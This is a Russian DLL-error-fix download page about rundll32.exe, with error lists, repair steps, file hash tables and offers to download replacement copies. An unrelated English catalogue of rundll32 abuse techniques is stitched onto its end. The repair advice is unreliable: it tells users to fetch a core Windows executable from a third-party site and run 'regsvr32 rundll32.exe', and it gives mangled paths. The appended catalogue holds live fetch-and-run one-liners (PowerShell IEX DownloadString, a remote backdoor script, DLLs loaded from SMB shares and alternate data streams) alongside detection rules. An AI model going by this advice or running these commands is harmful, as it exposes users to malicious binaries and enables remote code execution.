Иногда система Windows отображает сообщения об ошибках поврежденных или отсутствующих файлов rundll32.exe. Подобные ситуации могут возникнуть, например, во время процесса установки программного обеспечения. Каждая программа требует определенных ресурсов, библиотек и исходных данных для правильной работы. Поэтому поврежденный или несуществующий файл rundll32.exe может повлиять на неудачное выполнение запущенного процесса.
Файл был разработан для использования с программным обеспечением . Здесь вы найдете подробную информацию о файле и инструкции, как действовать в случае ошибок, связанных с rundll32.exe на вашем устройстве. Вы также можете скачать файл rundll32.exe, совместимый с устройствами Windows 10, Windows 8.1, Windows 8, Windows 7, Windows 7, Windows Vista, Windows Vista, Windows XP, которые (скорее всего) позволят решить проблему.
Совместим с: Windows 10, Windows 8.1, Windows 8, Windows 7, Windows 7, Windows Vista, Windows Vista, Windows XP
Популярность пользователя
Исправьте ошибки rundll32.exe
- 1 Информация о файле rundll32.exe
- 2 Ошибки, связанные с файлом rundll32.exe
- 3 Как исправить ошибки, связанные с rundll32.exe?
- 3.1 Сканирование на наличие вредоносных программ
- 3.2 Обновление системы и драйверов
- 3.3 Инструмент проверки системных файлов
- 3.4 Восстановление системы
- 4 Скачать rundll32.exe
- 4.1 Список версий файла rundll32.exe
Информация о файле
| Основная информация | |
|---|---|
| Имя файла | rundll32.exe |
| Расширение файла | EXE |
| Описание | Windows host process (Rundll32) |
| Программного обеспечения | |
|---|---|
| программа | Microsoft® Windows® Operating System |
| автор | Microsoft Corporation |
| подробности | |
|---|---|
| MIME тип | application/octet-stream |
| Тип файла | Executable application |
| система | Windows NT 32-bit |
| Авторские права | © Microsoft Corporation. All rights reserved. |
| Набор символов | Unicode |
| Языковая треска | English (U.S.) |
Наиболее распространенные проблемы с файлом rundll32.exe
Существует несколько типов ошибок, связанных с файлом rundll32.exe. Файл rundll32.exe может находиться в неправильном каталоге файлов на вашем устройстве, может отсутствовать в системе или может быть заражен вредоносным программным обеспечением и, следовательно, работать неправильно. Ниже приведен список наиболее распространенных сообщений об ошибках, связанных с файлом rundll32.exe. Если вы найдете один из перечисленных ниже (или похожих), рассмотрите следующие предложения.
- rundll32.exe поврежден
- rundll32.exe не может быть расположен
- Ошибка выполнения — rundll32.exe
- Ошибка файла rundll32.exe
- Файл rundll32.exe не может быть загружен. Модуль не найден
- невозможно зарегистрировать файл rundll32.exe
- Файл rundll32.exe не может быть загружен
- Файл rundll32.exe не существует
rundll32.exe
Не удалось запустить приложение, так как отсутствует файл rundll32.exe. Переустановите приложение, чтобы решить проблему.
OK
Проблемы, связанные с rundll32.exe, могут решаться различными способами. Некоторые методы предназначены только для опытных пользователей. Если вы не уверены в своих силах, мы советуем обратиться к специалисту. К исправлению ошибок в файле rundll32.exe следует подходить с особой осторожностью, поскольку любые ошибки могут привести к нестабильной или некорректно работающей системе. Если у вас есть необходимые навыки, пожалуйста, продолжайте.
Как исправить ошибки rundll32.exe всего за несколько шагов?
Ошибки файла rundll32.exe могут быть вызваны различными причинами, поэтому полезно попытаться исправить их различными способами.
Шаг 1.. Сканирование компьютера на наличие вредоносных программ.
Файлы Windows обычно подвергаются атаке со стороны вредоносного программного обеспечения, которое не позволяет им работать должным образом. Первым шагом в решении проблем с файлом rundll32.exe или любыми другими системными файлами Windows должно быть сканирование системы на наличие вредоносных программ с использованием антивирусного инструмента.
Если по какой-либо причине в вашей системе еще не установлено антивирусное программное обеспечение, вы должны сделать это немедленно. Незащищенная система не только является источником ошибок в файлах, но, что более важно, делает вашу систему уязвимой для многих опасностей. Если вы не знаете, какой антивирусный инструмент выбрать, обратитесь к этой статье Википедии — сравнение антивирусного программного обеспечения.
Шаг 2.. Обновите систему и драйверы.
Установка соответствующих исправлений и обновлений Microsoft Windows может решить ваши проблемы, связанные с файлом rundll32.exe. Используйте специальный инструмент Windows для выполнения обновления.
- Откройте меню «Пуск» в Windows.
- Введите «Центр обновления Windows» в поле поиска.
- Выберите подходящую программу (название может отличаться в зависимости от версии вашей системы)
- Проверьте, обновлена ли ваша система. Если в списке есть непримененные обновления, немедленно установите их.
- После завершения обновления перезагрузите компьютер, чтобы завершить процесс.
Помимо обновления системы рекомендуется установить последние версии драйверов устройств, так как драйверы могут влиять на правильную работу rundll32.exe или других системных файлов. Для этого перейдите на веб-сайт производителя вашего компьютера или устройства, где вы найдете информацию о последних обновлениях драйверов.
Шаг 3.. Используйте средство проверки системных файлов (SFC).
Проверка системных файлов — это инструмент Microsoft Windows. Как следует из названия, инструмент используется для идентификации и адресации ошибок, связанных с системным файлом, в том числе связанных с файлом rundll32.exe. После обнаружения ошибки, связанной с файлом %fileextension%, программа пытается автоматически заменить файл rundll32.exe на исправно работающую версию. Чтобы использовать инструмент:
- Откройте меню «Пуск» в Windows.
- Введите «cmd» в поле поиска
- Найдите результат «Командная строка» — пока не запускайте его:
- Нажмите правую кнопку мыши и выберите «Запуск от имени администратора»
- Введите «sfc / scannow» в командной строке, чтобы запустить программу, и следуйте инструкциям.
Шаг 4. Восстановление системы Windows.
Другой подход заключается в восстановлении системы до предыдущего состояния до того, как произошла ошибка файла rundll32.exe. Чтобы восстановить вашу систему, следуйте инструкциям ниже
- Откройте меню «Пуск» в Windows.
- Введите «Восстановление системы» в поле поиска.
- Запустите средство восстановления системы — его имя может отличаться в зависимости от версии системы.
- Приложение проведет вас через весь процесс — внимательно прочитайте сообщения
- После завершения процесса перезагрузите компьютер.
Если все вышеупомянутые методы завершились неудачно и проблема с файлом rundll32.exe не была решена, перейдите к следующему шагу. Помните, что следующие шаги предназначены только для опытных пользователей
Загрузите и замените файл rundll32.exe
Последнее решение — вручную загрузить и заменить файл rundll32.exe в соответствующей папке на диске. Выберите версию файла, совместимую с вашей операционной системой, и нажмите кнопку «Скачать». Затем перейдите в папку «Загруженные» вашего веб-браузера и скопируйте загруженный файл rundll32.exe.
Перейдите в папку, в которой должен находиться файл, и вставьте загруженный файл. Ниже приведен список путей к каталогу файлов rundll32.exe.
- Windows 10: C:WindowsSystem32
- Windows 8.1: C:WindowsSystem32
- Windows 8: 1: C:WindowsSystem32
- Windows 7: C:WindowsSysWOW64
- Windows 7: C:WindowsSysWOW64
- Windows Vista: —
- Windows Vista: —
- Windows XP: —
Если действия не помогли решить проблему с файлом rundll32.exe, обратитесь к профессионалу. Существует вероятность того, что ошибка (и) может быть связана с устройством и, следовательно, должна быть устранена на аппаратном уровне. Может потребоваться новая установка операционной системы — неправильный процесс установки системы может привести к потере данных.
Список версий файлов
Имя файла
rundll32.exe
система
Windows 10
Размер файла
60928 bytes
Дата
2017-03-18
| Подробности файла | ||
|---|---|---|
| MD5 | f57886ace1ab4972b0308f69b1a0029c | |
| SHA1 | 519b2a981cb522ed2b0901f9871f9aa9781a6cd5 | |
| SHA256 | 2be981b3686ee5e725583f5936f5f0a0992723cad784457f91d9d1d5a15a0852 | |
| CRC32 | 84b12cde | |
| Пример расположения файла | C:WindowsSystem32 |
Имя файла
rundll32.exe
система
Windows 8.1
Размер файла
51200 bytes
Дата
2014-11-21
| Подробности файла | ||
|---|---|---|
| MD5 | 8bfe805555cdaf6387912a34d7978daa | |
| SHA1 | b95a4c3d3722093a3e8fc54c578858e698df8437 | |
| SHA256 | 6f9195d85b386099f9f63e3319f5e9e85e0f3a1f0d48cfc9a37e7eff65225933 | |
| CRC32 | 09647470 | |
| Пример расположения файла | C:WindowsSystem32 |
Имя файла
rundll32.exe
система
Windows 8
Размер файла
48640 bytes
Дата
2012-07-26
| Подробности файла | ||
|---|---|---|
| MD5 | 224f6b374852153c8c24bed141ae3a20 | |
| SHA1 | e267a1a7dae5702e18ebdd0d451578a50df5abca | |
| SHA256 | 9f73b0e980df0aea1ca13a3418db2434ab8e3c56e97f150a5fd62489583a9d20 | |
| CRC32 | ecb5941f | |
| Пример расположения файла | 1: C:WindowsSystem32 |
Имя файла
rundll32.exe
система
Windows 7
Размер файла
44544 bytes
Дата
-0001-11-30
| Подробности файла | ||
|---|---|---|
| MD5 | 51138beea3e2c21ec44d0932c71762a8 | |
| SHA1 | 8939cf35447b22dd2c6e6f443446acc1bf986d58 | |
| SHA256 | 5ad3c37e6f2b9db3ee8b5aeedc474645de90c66e3d95f8620c48102f1eba4124 | |
| CRC32 | 71317d0d | |
| Пример расположения файла | C:WindowsSysWOW64 |
Имя файла
rundll32.exe
система
Windows 7
Размер файла
45568 bytes
Дата
2009-07-14
| Подробности файла | ||
|---|---|---|
| MD5 | dd81d91ff3b0763c392422865c9ac12e | |
| SHA1 | 963b55acc8c566876364716d5aafa353995812a8 | |
| SHA256 | f5691b8f200e3196e6808e932630e862f8f26f31cd949981373f23c9d87db8b9 | |
| CRC32 | b26366c3 | |
| Пример расположения файла | C:WindowsSysWOW64 |
Имя файла
rundll32.exe
система
Windows Vista
Размер файла
46592 bytes
Дата
2006-11-02
| Подробности файла | ||
|---|---|---|
| MD5 | 10446646d128e580c46615338e74e672 | |
| SHA1 | 2b8096e9746daef534ba03ddad3d9f38e12841c8 | |
| SHA256 | d684a4857d1ab3d9208abcd59707429ccb10399446cb0b87003cd6c8aea0cc17 | |
| CRC32 | af0a65f4 | |
| Пример расположения файла | — |
Имя файла
rundll32.exe
система
Windows Vista
Размер файла
44544 bytes
Дата
-0001-11-30
| Подробности файла | ||
|---|---|---|
| MD5 | 4b555106290bd117334e9a08761c035a | |
| SHA1 | 2d77b2ac185828a6300c8838355444279929bcb0 | |
| SHA256 | 8a3808fbc197040bf0c65084514e8441e35ffff8e31980f9ce1f41ed65e08437 | |
| CRC32 | fd4efcfb | |
| Пример расположения файла | — |
Имя файла
rundll32.exe
система
Windows XP
Размер файла
33280 bytes
Дата
2008-04-14
| Подробности файла | ||
|---|---|---|
| MD5 | 037b1e7798960e0420003d05bb577ee6 | |
| SHA1 | 303a90020bf3beaf9acd0ea86487c853636a99a3 | |
| SHA256 | dee53d6d332dadd40c0ce34a425a6c0781f611765dcd4299d869f2b1ee80ae66 | |
| CRC32 | b589dce8 | |
| Пример расположения файла | — |
| Информация о файле | Описание |
|---|---|
| Размер файла: | 60 kB |
| Дата и время изменения файла: | 2017:03:18 18:19:23+00:00 |
| Дата и время изменения индексного дескриптора файлов: | 2017:11:05 07:07:54+00:00 |
| Тип файла: | Win32 EXE |
| Тип MIME: | application/octet-stream |
| Предупреждение! | Possibly corrupt Version resource |
| Тип компьютера: | Intel 386 or later, and compatibles |
| Метка времени: | 2092:04:05 13:14:45+00:00 |
| Тип PE: | PE32 |
| Версия компоновщика: | 14.10 |
| Размер кода: | 24576 |
| Размер инициализированных данных: | 36352 |
| Размер неинициализированных данных: | 0 |
| Точка входа: | 0x5fb0 |
| Версия ОС: | 10.0 |
| Версия образа: | 10.0 |
| Версия подсистемы: | 10.0 |
| Подсистема: | Windows GUI |
| Номер версии файла: | 10.0.15063.0 |
| Номер версии продукта: | 10.0.15063.0 |
| Маска флагов файлов: | 0x003f |
| Флаги файлов: | (none) |
| Файловая ОС: | Windows NT 32-bit |
| Тип объектного файла: | Executable application |
| Подтип файла: | 0 |
| Код языка: | English (U.S.) |
| Набор символов: | Unicode |
| Наименование компании: | Microsoft Corporation |
| Описание файла: | Windows host process (Rundll32) |
| Версия файла: | 10.0.15063.0 (WinBuild.160101.0800) |
| Внутреннее имя: | rundll |
| Авторское право: | © Microsoft Corporation. All rights reserved. |
| Оригинальное имя файла: | RUNDLL32.EXE |
| Название продукта: | Microsoft® Windows® Operating System |
| Версия продукта: | 10.0.15063.0 |
✻ Фрагменты данных файлов предоставлены участником Exiftool (Phil Harvey) и распространяются под лицензией Perl Artistic.
Windows 10
Windows XP
Windows 7
Windows XP x64
Windows 7 x64
Android Studio
3ds Max 2012
Adobe
iTunes
Warcraft
GTA
Counter-Strike 1.6
Macromedia Dreamweaver
Epson Print
Download Master
K-lite Codec
Skype
World of Tanks
World of Warcraft
Delphi 7
Borland Turbo Pascal 7.0
Power Archiver
Xara Photo Graphic Designer
Miscellanea
| Описание: Original exe file Размер файла: 32.5 Kb Дата создания: 03.03.2014 17:03 Версия файла: 5.1.2600.5512 (xpsp.080413-2105) Внутреннее имя: rundll Оригинальное название файла: RUNDLL.EXE Версия: 5.1.2600.5512 Проверка на вирусы: скачать rundll32.exe скачать rundll32.exe.7z Как установить rundll32.exe: |
Скопируйте файл rundll32.exe в директорию с программой которую Вы хотите восстановить с помощью файла rundll32.exe.
Если это не сработает, попробуйте скопировать файл rundll32.exe в системную директорию. Обычно, это:
Для Windows 95/98/Me — C:WindowsSystem
Для Windows NT/2000 — C:WINNTSystem32
Для Windows XP, Vista, 7, 10 — C:WindowsSystem32
Если Вы используете 64-bit версию Windows, скопируйте файл rundll32.exe в C:WindowsSysWOW64
Сделайте запасные копии файлов которые собираетесь заменить
Замените существующие файлы
Перезагрузите компьютер.
Если проблема не решилась попробуйте следующее:
Нажмите пуск и выберите «Выполнить…».
Напечатайте CMD и нажмите Enter (или если у Вас Windows ME, напечатайте COMMAND)
Теперь напечатайте regsvr32 rundll32.exe и нажмите Enter.
Если Вы не смогли найти папку windows:
Нажмите пуск и выберите «Выполнить…».
Напечатайте CMD и нажмите Enter (или если у Вас Windows ME, напечатайте COMMAND)
Теперь напечатайте %WINDIR% и нажмите Enter.
Другие версии данного файла:
| rundll32.exe 6.1.7600.16385 (win7_rtm.090713-1255) 45kb. |
Windows host process (Rundll32) | 02.01.2022 |
| rundll32.exe 10.0.15063.0 (WinBuild.160101.0800) 60kb. |
Windows host process (Rundll32) | 04.01.2022 |
| rundll32.exe 12kb. |
06.01.2022 | |
| rundll32.exe 5.1.2600.5512 (xpsp.080413-2105) 32kb. |
Run a DLL as an App | 17.03.2010 |
| rundll32.exe 10.0.19041.746 (WinBuild.160101.0800) 70kb. |
Windows host process (Rundll32) | 09.01.2022 |
| rundll32.exe 6.1.7601.23755 (win7sp1_ldr.170330-0600) 45kb. |
Windows host process (Rundll32) | 12.01.2022 |
| rundll32.exe 10.0.14393.0 (rs1_release.160715-1616) 68kb. |
Windows host process (Rundll32) | 16.01.2022 |
| rundll32.exe 6.1.7601.23755 (win7sp1_ldr.170330-0600) 44kb. |
Windows host process (Rundll32) | 19.01.2022 |
| rundll32.exe 6.0.6000.16386 (vista_rtm.061101-2205) 46kb. |
Windows host process (Rundll32) | 20.01.2022 |
| rundll32.exe 10.0.17763.1697 (WinBuild.160101.0800) 70kb. |
Windows host process (Rundll32) | 02.02.2022 |
| rundll32.exe 10.0.22000.1 (WinBuild.160101.0800) 72kb. |
Windows host process (Rundll32) | 11.02.2022 |
| rundll32.exe 6.3.9600.17415 (winblue_r4.141028-1500) 54kb. |
Windows host process (Rundll32) | 16.02.2022 |
| rundll32.exe 10.0.18362.1 (WinBuild.160101.0800) 70kb. |
Windows host process (Rundll32) | 16.02.2022 |
| rundll32.exe 5.1.2600.2180 (xpsp_sp2_rtm.040803-2158) 33kb. |
Run a DLL as an App | 04.08.2004 |
| rundll32.exe 4.00 8kb. |
Run a DLL as an App | 22.09.1995 |
| rundll32.exe 10.0.15063.0 (WinBuild.160101.0800) 67kb. |
Windows host process (Rundll32) | 03.03.2022 |
| rundll32.exe 6.1.7600.16385 (win7_rtm.090713-1255) 44kb. |
Windows host process (Rundll32) | 05.03.2022 |
| rundll32.exe 10.0.19041.1 (WinBuild.160101.0800) 70kb. |
Windows host process (Rundll32) | 06.03.2022 |
| rundll32.exe 10.0.17763.1 (WinBuild.160101.0800) 70kb. |
Windows host process (Rundll32) | 11.03.2022 |
rundll:
| rundll64.exe 1.0.0.0 46kb. |
PRINTUI.DLL wrapper executable | 08.07.2008 |
.. /
Rundll32.exe
- Execute
- Alternate data streams
Used by Windows to execute dll files
Paths:
- C:WindowsSystem32rundll32.exe
- C:WindowsSysWOW64rundll32.exe
Resources:
- https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
- https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
- https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
- https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
- https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
- https://github.com/sailay1996/expl-bin/blob/master/obfus.md
- https://github.com/sailay1996/misc-bin/blob/master/rundll32.md
- https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90
- https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/network_connection/sysmon_rundll32_net_connections.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_rundll32_activity.yml
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_unusual_network_connection_via_rundll32.toml
- IOC: Outbount Internet/network connections made from rundll32
- IOC: Suspicious use of cmdline flags such as -sta
Execute
AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.
rundll32.exe AllTheThingsx64,EntryPoint Usecase: Execute dll file
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1218.011
Use Rundll32.exe to execute a DLL from a SMB share. EntryPoint is the name of the entry point in the .DLL file to execute.
rundll32.exe \10.10.10.10sharepayload.dll,EntryPoint Usecase: Execute DLL from SMB share.
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1218.011
Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');") Usecase: Execute code from Internet
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1218.011
Use Rundll32.exe to execute a JavaScript script that runs calc.exe.
rundll32.exe javascript:"..mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject("WScript.Shell");w.run("calc");window.close()"); Usecase: Proxy execution
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1218.011
Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);} Usecase: Proxy execution
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1218.011
Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test") Usecase: Execute code from Internet
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1218.011
Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.
rundll32.exe -sta {CLSID} Usecase: Execute a DLL/EXE COM server payload or ScriptletURL code.
Privileges required: User
OS: Windows 10 (and likely previous versions), Windows 11
MITRE ATT&CK®: T1218.011
Alternate data streams
Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).
rundll32 "C:adsfile.txt:ADSDLL.dll",DllMain Usecase: Execute code from alternate data stream
Privileges required: User
OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
MITRE ATT&CK®: T1564.004